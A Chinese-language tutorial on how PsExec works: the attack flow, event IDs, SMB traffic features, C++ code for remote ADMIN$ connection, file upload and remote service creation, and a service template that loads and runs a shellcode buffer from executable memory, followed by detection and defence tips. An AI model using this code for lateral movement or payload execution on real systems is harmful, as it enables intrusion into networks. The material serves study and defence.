psexec原理分析
字数 1230 2025-08-09 15:23:08
PsExec 原理分析与实现教学文档
1. PsExec 概述
PsExec 最初是由 Sysinternals 开发的一款合法管理工具,用于远程执行程序。但由于其功能特性,也被广泛用于渗透测试和内网横向移动。
1.1 基本特点
- 允许在远程系统上执行命令
- 不需要手动安装客户端软件
- 使用 Windows 服务机制实现远程执行
- 支持 NTLM 认证(包括哈希传递)
2. PsExec 工作流程分析
2.1 典型攻击流程
- 通过 NTLM 认证连接到目标主机
- 建立 IPC\( 和 ADMIN\) 共享连接
- 上传 PsExec 服务程序到目标主机
- 创建并启动服务
- 服务执行后建立命名管道通信
2.2 事件日志分析
- 4624 事件:登录事件,记录源IP和认证方式
- 7045 事件:服务创建事件
- ADMIN$ 共享访问:指向 C:\Windows 目录
3. 网络流量分析
使用 Wireshark 捕获的典型流量:
- TCP 三次握手建立连接
- SMB 协议协商
- NTLM 认证过程
- IPC\( 和 ADMIN\) 共享连接
- 文件传输(PSEXESVC.exe)
- 服务创建和启动通信
关键特征:
- PE 文件特征(4D5A 开头)
- 服务控制管理器(SCM)通信
- 命名管道创建(通常创建4个管道)
4. PsExec 技术实现
4.1 建立 SMB 连接
使用 WNetAddConnection2 API 建立到 ADMIN$ 共享的连接:
DWORD ConnectSMBServer(LPCWSTR lpwsHost, LPCWSTR lpwsUserName, LPCWSTR lpwsPassword) {
PWCHAR lpwsIPC = new WCHAR[MAX_PATH];
DWORD dwRetVal;
NETRESOURCE nr;
DWORD dwFlags;
ZeroMemory(&nr, sizeof(NETRESOURCE));
swprintf(lpwsIPC, MAX_PATH, TEXT("\\%s\\admin$"), lpwsHost);
nr.dwType = RESOURCETYPE_ANY;
nr.lpLocalName = NULL;
nr.lpRemoteName = lpwsIPC;
nr.lpProvider = NULL;
dwFlags = CONNECT_UPDATE_PROFILE;
dwRetVal = WNetAddConnection2(&nr, lpwsPassword, lpwsUserName, dwFlags);
if (dwRetVal == NO_ERROR) {
printf("Connection added to %s\n", nr.lpRemoteName);
return dwRetVal;
}
printf("WNetAddConnection2 failed with error: %d\n", dwRetVal);
return -1;
}
4.2 文件上传
使用 CopyFile API 将文件上传到目标主机:
BOOL UploadFileBySMB(LPCWSTR lpwsSrcPath, LPCWSTR lpwsDstPath) {
DWORD dwRetVal;
dwRetVal = CopyFile(lpwsSrcPath, lpwsDstPath, FALSE);
return dwRetVal > 0 ? TRUE : FALSE;
}
4.3 服务创建与启动
使用服务控制管理器 API 创建并启动服务:
BOOL CreateServices(LPCWSTR lpwsSCMServer, LPCWSTR lpwsServiceName, LPCWSTR lpwsServicePath) {
SC_HANDLE hSCM;
SC_HANDLE hService;
SERVICE_STATUS ss;
hSCM = OpenSCManager(lpwsSCMServer, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
if (hSCM == NULL) {
printf("OpenSCManager Error: %d\n", GetLastError());
return -1;
}
hService = CreateService(
hSCM,
lpwsServiceName,
lpwsServiceName,
GENERIC_ALL,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_DEMAND_START,
SERVICE_ERROR_IGNORE,
lpwsServicePath,
NULL,
NULL,
NULL,
NULL,
NULL);
if (hService == NULL) {
printf("CreateService Error: %d\n", GetLastError());
return -1;
}
hService = OpenService(hSCM, lpwsServiceName, GENERIC_ALL);
if (hService == NULL) {
printf("OpenService Error: %d\n", GetLastError());
return -1;
}
StartService(hService, NULL, NULL);
return 0;
}
5. 服务程序开发
5.1 Windows 服务基本结构
合法的 Windows 服务程序需要包含以下组件:
- 服务主函数 (ServiceMain)
- 控制处理函数 (CtrlHandler)
- 服务注册 (StartServiceCtrlDispatcher)
5.2 服务模板代码
#include <windows.h>
#include <iostream>
unsigned char buf[] = "shellcode";
#define SLEEP_TIME 5000
#define LOGFILE "C:\\Windows\\log.txt"
SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE hStatus;
void ServiceMain(int argc, char** argv);
void CtrlHandler(DWORD request);
int InitService();
int main(int argc, CHAR* argv[]) {
WCHAR WserviceName[] = TEXT("sdd");
SERVICE_TABLE_ENTRY ServiceTable[2];
ServiceTable[0].lpServiceName = WserviceName;
ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
ServiceTable[1].lpServiceName = NULL;
ServiceTable[1].lpServiceProc = NULL;
StartServiceCtrlDispatcher(ServiceTable);
return 0;
}
void ServiceMain(int argc, char** argv) {
WCHAR WserviceName[] = TEXT("sdd");
int error;
ServiceStatus.dwServiceType = SERVICE_WIN32;
ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_SHUTDOWN | SERVICE_ACCEPT_STOP;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
hStatus = ::RegisterServiceCtrlHandler(WserviceName, (LPHANDLER_FUNCTION)CtrlHandler);
if (hStatus == (SERVICE_STATUS_HANDLE)0) {
return;
}
error = InitService();
if (error) {
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = -1;
SetServiceStatus(hStatus, &ServiceStatus);
return;
}
LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus(hStatus, &ServiceStatus);
MEMORYSTATUS memstatus;
while (ServiceStatus.dwCurrentState == SERVICE_RUNNING) {
Sleep(SLEEP_TIME);
}
return;
}
void CtrlHandler(DWORD request) {
switch (request) {
case SERVICE_CONTROL_STOP:
case SERVICE_CONTROL_SHUTDOWN:
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus(hStatus, &ServiceStatus);
return;
default:
break;
}
SetServiceStatus(hStatus, &ServiceStatus);
}
int InitService() {
return 0;
}
5.3 关键点说明
- 服务类型:必须设置为
SERVICE_WIN32_OWN_PROCESS或类似值 - 执行权限:服务默认以 SYSTEM 权限运行
- 稳定性:服务程序需要正确处理各种控制请求
- 错误处理:需要完善的服务状态报告机制
6. 防御与检测
6.1 攻击特征检测
- ADMIN$ 共享的异常访问
- 短时间内大量 4624 登录事件
- 异常的服务创建事件 (7045)
- 命名管道的异常创建
6.2 防御措施
- 禁用不必要的共享 (ADMIN\(, IPC\))
- 启用 SMB 签名
- 监控服务创建行为
- 限制 NTLM 认证
- 使用强密码策略防止哈希传递
7. 总结
PsExec 的实现基于 Windows 的以下机制:
- SMB 协议和共享访问
- 服务控制管理器 (SCM)
- NTLM 认证协议
- 命名管道通信
理解这些底层机制对于防御类似攻击至关重要,同时也为开发合法的远程管理工具提供了技术参考。